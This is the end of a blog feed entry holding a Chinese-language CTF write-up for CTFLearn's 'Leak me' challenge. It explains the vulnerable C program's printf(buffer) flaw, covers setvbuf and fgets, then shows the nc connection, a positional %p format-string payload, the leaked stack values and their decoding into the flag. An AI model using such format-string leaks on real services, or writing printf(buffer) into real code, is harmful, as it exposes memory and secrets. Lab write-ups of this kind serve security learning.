punctuation">&#123;</span>    <span class="token function">setvbuf</span><span class="token punctuation">(</span><span class="token constant">stdout</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">,</span> _IONBF<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">setvbuf</span><span class="token punctuation">(</span><span class="token constant">stdin</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">,</span> _IONBF<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">char</span> flag<span class="token punctuation">[</span><span class="token number">64</span><span class="token punctuation">]</span><span class="token punctuation">,</span> buffer<span class="token punctuation">[</span><span class="token number">64</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    FILE <span class="token operator">*</span>f <span class="token operator">=</span> <span class="token function">fopen</span><span class="token punctuation">(</span><span class="token string">"./flag.txt"</span><span class="token punctuation">,</span> <span class="token string">"rt"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>f <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"No flag.txt found, contact an admin"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">fgets</span><span class="token punctuation">(</span>flag<span class="token punctuation">,</span> <span class="token number">64</span><span class="token punctuation">,</span> f<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fclose</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"What is your favorite format tag? "</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fgets</span><span class="token punctuation">(</span>buffer<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token constant">stdin</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li></ul><h2 id="%E7%A8%8B%E5%BC%8F%E7%A2%BC%E8%A7%A3%E6%9E%90" tabindex="-1" id="程式碼解析">程式碼解析</h2><h3 id="setvbuf" tabindex="-1" id="setvbuf">setvbuf</h3><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">setvbuf</span><span class="token punctuation">(</span><span class="token constant">stdout</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">,</span> _IONBF<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">setvbuf</span><span class="token punctuation">(</span><span class="token constant">stdin</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">,</span> _IONBF<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><ul><li>在 stdio.h 裡面</li><li>此二句代表將緩衝模式設為<strong>無緩衝</strong></li></ul><hr><ul><li><p><strong>setvbuf</strong> 用來設定<em><strong>I/O緩衝模式</strong></em>與<em><strong>緩衝區大小</strong></em>，語法如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">setvbuf</span><span class="token punctuation">(</span>FILE <span class="token operator">*</span>stream<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token operator">*</span>buffer<span class="token punctuation">,</span> <span class="token keyword">int</span> mode<span class="token punctuation">,</span> <span class="token class-name">size_t</span> size<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre></li></ul><h4 id="%E5%8F%83%E6%95%B8%E8%AA%AA%E6%98%8E" tabindex="-1" id="參數說明">參數說明</h4><table><thead><tr><th>參數</th><th>說明</th></tr></thead><tbody><tr><td><code>stream</code></td><td>指定要設定的檔案指標，例如 <code>stdin</code>、<code>stdout</code>、<code>stderr</code> 或 <code>fopen()</code> 打開的檔案</td></tr><tr><td><code>buffer</code></td><td>指定自訂緩衝區的位址，若為 <code>NULL</code> 則使用系統預設緩衝區</td></tr><tr><td><code>mode</code></td><td>設定緩衝模式，包含 <code>_IOFBF</code>（全緩衝）、<code>_IOLBF</code>（行緩衝）、<code>_IONBF</code>（無緩衝）</td></tr><tr><td><code>size</code></td><td>指定緩衝區大小，只有 <code>_IOFBF</code> 和 <code>_IOLBF</code> 模式會用到。<br>允許的範圍：2 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>≤</mo></mrow><annotation encoding="application/x-tex">\leq</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mrel">≤</span></span></span></span> <em><code>size</code></em>&lt;INT_MAX (2147483647)。<br>就內部而言，針對 <em><code>size</code></em> 提供的值會向下捨入為最近的 2 倍數。</td></tr></tbody></table><h5 id="%E7%B7%A9%E8%A1%9D%E6%A8%A1%E5%BC%8F" tabindex="-1" id="緩衝模式">緩衝模式</h5><table><thead><tr><th><code>mode</code></th><th>代表意義</th></tr></thead><tbody><tr><td><code>_IOFBF</code></td><td><strong>全緩衝（fully buffered）</strong>，當緩衝區滿時才進行 I/O 操作，適用於檔案。<br>遇到<code>fflush(stdout);</code>則強制輸出。</td></tr><tr><td><code>_IOLBF</code></td><td><strong>行緩衝（line buffered）</strong>，遇到換行 (<code>\n</code>) 或緩衝區滿時才進行 I/O 操作，適用於終端機。</td></tr><tr><td><code>_IONBF</code></td><td><strong>無緩衝（no buffering）</strong>，每次 I/O 操作都會立即執行，不使用緩衝區。</td></tr></tbody></table><h4 id="%E7%AF%84%E4%BE%8B" tabindex="-1" id="範例">範例</h4><h5 id="%E8%87%AA%E8%A8%82%E8%BC%B8%E5%87%BA%E7%B7%A9%E8%A1%9D%E5%8D%80%EF%BC%9A_iofbf" tabindex="-1" id="自訂輸出緩衝區：-IOFBF">自訂輸出緩衝區：_IOFBF</h5><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">char</span> buffer<span class="token punctuation">[</span><span class="token number">1024</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">// 自訂 1024 bytes 的緩衝區</span>    <span class="token function">setvbuf</span><span class="token punctuation">(</span><span class="token constant">stdout</span><span class="token punctuation">,</span> buffer<span class="token punctuation">,</span> _IOFBF<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 設定為全緩衝模式</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"這是一段測試文字 "</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"這些內容會暫存到 buffer "</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fflush</span><span class="token punctuation">(</span><span class="token constant">stdout</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 強制將 buffer 內容輸出</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>📌 <strong>這段程式碼將 <code>stdout</code> 設定為「全緩衝」，所以 <code>printf()</code> 的輸出不會馬上出現在螢幕上，<br>直到 <code>fflush(stdout);</code> 才會強制輸出。</strong></p></blockquote><h4 id="%E5%9B%9E%E5%82%B3%E5%80%BC" tabindex="-1" id="回傳值"><strong>回傳值</strong></h4><ul><li><p><strong>成功時</strong> 回傳 <code>0</code></p></li><li><p><strong>失敗時</strong> 回傳非 <code>0</code> 值，表示設定失敗</p><h4 id="%E4%BD%BF%E7%94%A8-setvbuf()-%E7%9A%84%E6%99%82%E6%A9%9F" tabindex="-1" id="使用-setvbuf-的時機"><strong>使用 <code>setvbuf()</code> 的時機</strong></h4></li></ul><table><thead><tr><th>使用時機</th><th>適用模式</th><th>說明</th></tr></thead><tbody><tr><td><strong>即時輸出（遊戲、CLI 應用）</strong></td><td><code>_IONBF</code></td><td>確保 <code>printf()</code> 立即顯示，不會延遲</td></tr><tr><td><strong>減少 I/O 操作（大量寫入檔案）</strong></td><td><code>_IOFBF</code></td><td>減少磁碟 I/O 次數，提高效能</td></tr><tr><td><strong>適用終端機輸出</strong></td><td><code>_IOLBF</code></td><td>遇到換行 (<code>\n</code>) 再輸出，適合日誌記錄</td></tr><tr><td><strong>自訂緩衝區大小</strong></td><td><code>_IOFBF</code> 或 <code>_IOLBF</code></td><td>控制 <code>setvbuf()</code> 的 <code>buffer</code> 和 <code>size</code> 參數，提升效能</td></tr></tbody></table><h4 id="%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A0%85" tabindex="-1" id="注意事項"><strong>注意事項</strong></h4><ol><li><strong><code>setvbuf()</code> 必須在任何 I/O 操作之前調用</strong><br>一旦對 <code>stream</code> 進行 I/O 操作（如 <code>printf()</code>、<code>fscanf()</code>），就不能再使用 <code>setvbuf()</code>，否則行為未定。</li><li><strong><code>_IONBF</code> 會影響效能</strong></li></ol><ul><li><strong>適用於即時輸出（如遊戲、命令列程式）</strong></li><li><strong>但頻繁呼叫 I/O 操作（如寫入檔案）可能會降低效能</strong></li></ul><ol start="3"><li><strong>某些平台的 <code>stderr</code> 預設為 <code>_IONBF</code></strong></li></ol><ul><li>這確保錯誤訊息能立即顯示，不會因緩衝而延遲。</li></ul><ol start="4"><li><strong>緩衝區大小 <code>size</code> 只對 <code>_IOFBF</code> 和 <code>_IOLBF</code> 有影響</strong></li></ol><ul><li><code>_IONBF</code> 會忽略 <code>size</code> 參數。</li></ul><hr><h3 id="fgets" tabindex="-1" id="fgets">fgets</h3><ul><li><p>在stdio.h裡面</p></li><li><p>用途：讀取字串</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">fgets</span><span class="token punctuation">(</span>flag<span class="token punctuation">,</span> <span class="token number">64</span><span class="token punctuation">,</span> f<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>和</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">fgets</span><span class="token punctuation">(</span>buffer<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token constant">stdin</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre></li></ul><hr><ul><li><p><code>fgets()</code> 是 C 語言中 <strong>讀取字串輸入</strong> 的函數，它比 <code>scanf()</code> 更安全，因為可以限制讀取的字元數，防止<strong>緩衝區溢位（buffer overflow）</strong>，語法如下</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token function">fgets</span><span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span>str<span class="token punctuation">,</span> <span class="token keyword">int</span> size<span class="token punctuation">,</span> FILE <span class="token operator">*</span>stream<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h4 id="%E5%8F%83%E6%95%B8%E8%AA%AA%E6%98%8E-1" tabindex="-1" id="參數說明-2">參數說明</h4></li></ul><table><thead><tr><th>參數</th><th>說明</th></tr></thead><tbody><tr><td><code>str</code></td><td>指向存放讀取字串的緩衝區（陣列）</td></tr><tr><td><code>size</code></td><td><strong>最多讀取 <code>size-1</code> 個字元</strong>，並在最後加上 <code>\0</code></td></tr><tr><td><code>stream</code></td><td>指定輸入來源，例如 <code>stdin</code>（鍵盤）或 <code>fopen()</code> 打開的檔案</td></tr></tbody></table><h4 id="%E5%9B%9E%E5%82%B3%E5%80%BC-1" tabindex="-1" id="回傳值-2"><strong>回傳值</strong></h4><ul><li><p><strong>成功時</strong>：回傳 <code>str</code> 的位址（指向存入的字串）。</p></li><li><p><strong>讀取到 EOF（檔案結束）或錯誤時</strong>：回傳 <code>NULL</code>。</p><h4 id="fgets()-%E7%9A%84%E7%89%B9%E9%BB%9E" tabindex="-1" id="fgets-的特點"><strong><code>fgets()</code> 的特點</strong></h4><p>✅ <strong>可讀取含空格的字串</strong>（不像 <code>scanf(&quot;%s&quot;, str)</code> 只讀取單詞）。<br>✅ <strong>安全性較高</strong>，因為<strong>不會超過指定大小</strong>，防止 <strong>buffer overflow</strong>。<br>❌ <strong>會保留換行符 <code>\n</code></strong>（如果緩衝區足夠大）。<br>❌ <strong>不能直接讀取數字</strong>（需要用 <code>sscanf()</code> 或 <code>atoi()</code> 轉換）。</p></li></ul><h4 id="%E5%9F%BA%E6%9C%AC%E7%AF%84%E4%BE%8B" tabindex="-1" id="基本範例"><strong>基本範例</strong></h4><h5 id="%E5%BE%9E%E6%A8%99%E6%BA%96%E8%BC%B8%E5%85%A5%E8%AE%80%E5%8F%96%E5%AD%97%E4%B8%B2" tabindex="-1" id="從標準輸入讀取字串">從標準輸入讀取字串</h5><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">char</span> name<span class="token punctuation">[</span><span class="token number">50</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"請輸入你的名字: "</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">fgets</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token constant">stdin</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Hello, %s"</span><span class="token punctuation">,</span> name<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// `name` 可能包含 `\n`</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>📌 <strong>輸入 <code>Alice</code>，輸出可能是：</strong></p><pre class="line-numbers language-none"><code class="language-none">請輸入你的名字: AliceHello, Alice<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>📌 <strong>輸入 <code>Alice Smith</code>，輸出仍然正確（因為 <code>fgets()</code> 讀取整行）：</strong></p><pre class="line-numbers language-none"><code class="language-none">請輸入你的名字: Alice SmithHello, Alice Smith<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h4 id="fgets()-vs-scanf()" tabindex="-1" id="fgets-vs-scanf"><strong><code>fgets()</code> vs <code>scanf()</code></strong></h4><table><thead><tr><th><strong>函式</strong></th><th><strong>輸入</strong></th><th>**輸出 (<code>printf(&quot;%s&quot;, str)</code>)</th><th><strong>備註</strong></th></tr></thead><tbody><tr><td><code>scanf(&quot;%s&quot;, str)</code></td><td><code>Alice Smith</code></td><td><code>Alice</code></td><td>只讀到 <code>Alice</code>，空格後的內容被忽略</td></tr><tr><td><code>fgets(str, 50, stdin)</code></td><td><code>Alice Smith</code></td><td><code>Alice Smith\n</code></td><td>讀到整行，包含空格和 <code>\n</code></td></tr></tbody></table><hr><h2 id="%E8%A7%A3%E9%A1%8C%E9%97%9C%E9%8D%B5" tabindex="-1" id="解題關鍵">解題關鍵</h2><p>由程式碼看出我們要的東西就在裡 <em><code>flag</code></em> 裡(已經在stack裡了)<br>而程式最終程式 <em><code>printf(buffer)</code></em>，有格式化字串的漏洞<br>因此要想辦法在前一行</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">fgets</span><span class="token punctuation">(</span>buffer<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token constant">stdin</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>藉由適當輸入，想辦法讓他輸出flag內容</p><h3 id="%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E4%B8%B2%E6%94%BB%E6%93%8A(format-string-attack)" tabindex="-1" id="格式化字串攻擊-Format-String-Attack">格式化字串攻擊(Format String Attack)</h3><p>程式將用戶輸入作為格式字串，攻擊者便能通過插入特定的格式化符號來讀取敏感資料甚至覆寫記憶體。</p><table><thead><tr><th>Parameters</th><th>Output</th><th>Passed as</th></tr></thead><tbody><tr><td>%%</td><td>% character (literal)</td><td>Reference</td></tr><tr><td>%p</td><td>External representation of a pointer to void</td><td>Reference</td></tr><tr><td>%d</td><td>Decimal</td><td>Value</td></tr><tr><td>%c</td><td>Character</td><td></td></tr><tr><td>%u</td><td>Unsigned decimal</td><td>Value</td></tr><tr><td>%x</td><td>Hexadecimal</td><td>Value</td></tr><tr><td>%s</td><td>String</td><td>Reference</td></tr><tr><td>%n</td><td>Writes the number of characters into a pointer</td><td>Reference</td></tr></tbody></table><ul><li><p><a href="https://owasp.org/www-community/attacks/Format_string_attack">https://owasp.org/www-community/attacks/Format_string_attack</a></p></li><li><p><a href="https://infosecwriteups.com/exploiting-format-string-vulnerability-97e3d588da1b">EXPLOITING FORMAT STRING VULNERABILITY</a></p></li><li><p><a href="https://ithelp.ithome.com.tw/articles/10227815">Day29[Binary Exploitation] 格式化字串攻擊</a></p></li><li><p><a href="https://ithelp.ithome.com.tw/articles/10357879">Day11 - [Pwn] Format String Attack</a></p><h3 id="%E8%A7%A3%E9%A1%8C-1" tabindex="-1" id="解題">解題</h3></li></ul><blockquote><p>HINT: The buffer and the flag take 64byte for each, so 8byte at each address means you have 8 address start from 0 to 7 : the buffer, then 8 to 15 : the flag. (search of String format vuln)</p></blockquote><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">nc</span> rivit.dev <span class="token number">10003</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>如提示，我們的flag在8到15個位置，<br>輸入：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token operator">%</span><span class="token number">8</span>$p <span class="token operator">%</span><span class="token number">9</span>$p <span class="token operator">%</span><span class="token number">10</span>$p <span class="token operator">%</span><span class="token number">11</span>$p <span class="token operator">%</span><span class="token number">12</span>$p <span class="token operator">%</span><span class="token number">13</span>$p <span class="token operator">%</span><span class="token number">14</span>$p <span class="token operator">%</span><span class="token number">15</span>$p<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>獲得輸出：</p><pre class="line-numbers language-none"><code class="language-none">0x6e7261656c465443 0x5f336b316c5f317b 0x745f74346d723066 0x7d3030745f356734 0x1000a 0x7ffd48095e38 0x3100000017 (nil)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>丟到<a href="https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&amp;input=MHg2ZTcyNjE2NTZjNDY1NDQzIDB4NWYzMzZiMzE2YzVmMzE3YiAweDc0NWY3NDM0NmQ3MjMwNjYgMHg3ZDMwMzA3NDVmMzU2NzM0IDB4MTAwMGEgMHg3ZmZkNDgwOTVlMzggMHgzMTAwMDAwMDE3">Cyberchef</a><br>得到輸出</p><pre class="line-numbers language-none"><code class="language-none">nraelFTC_3k1l_1&#123;t_t4mr0f&#125;00t_5g4<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>將每八個字分成一組，接著各小組反轉，得到</p><pre class="line-numbers language-none"><code class="language-none">CTFlearn&#123;1_l1k3_f0rm4t_t4g5_t00&#125;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>就是flag。</p><blockquote><p>需要反轉是因為資料是以little‑endian儲存的，也就是把最高位的位元組放在最高的記憶體位址上<br><a href="https://blog.gtwang.org/programming/difference-between-big-endian-and-little-endian-implementation-in-c/">圖片出處</a><br><img src="https://blog.gtwang.org/programming/difference-between-big-endian-and-little-endian-implementation-in-c/little-endian-20180517-1.png" alt="Little Endian"></p></blockquote><blockquote><p>不能用%x，不然中間四個字會不見，如abcdefghjklm只會解出dcbamlkj<br>我還不知道原理</p></blockquote>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/05/29/CTFLearn-Leak-me-Writeup/</id>
    <link href="https://r3xdj.pages.dev/2026/05/29/CTFLearn-Leak-me-Writeup/"/>
    <published>2026-05-29T11:23:55.000Z</published>
    <summary>
      <![CDATA[<p>這份是我2025年3月試用obsidian時寫的，如今把它搬過來這裡。<br>
排版有點亂還請見諒。</p>
<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<p>題目：<a href="https://ctflearn.]]>
    </summary>
    <title>CTFLearn Leak me Writeup</title>
    <updated>2026-05-29T11:23:55.000Z</updated>
  </entry>
</feed>
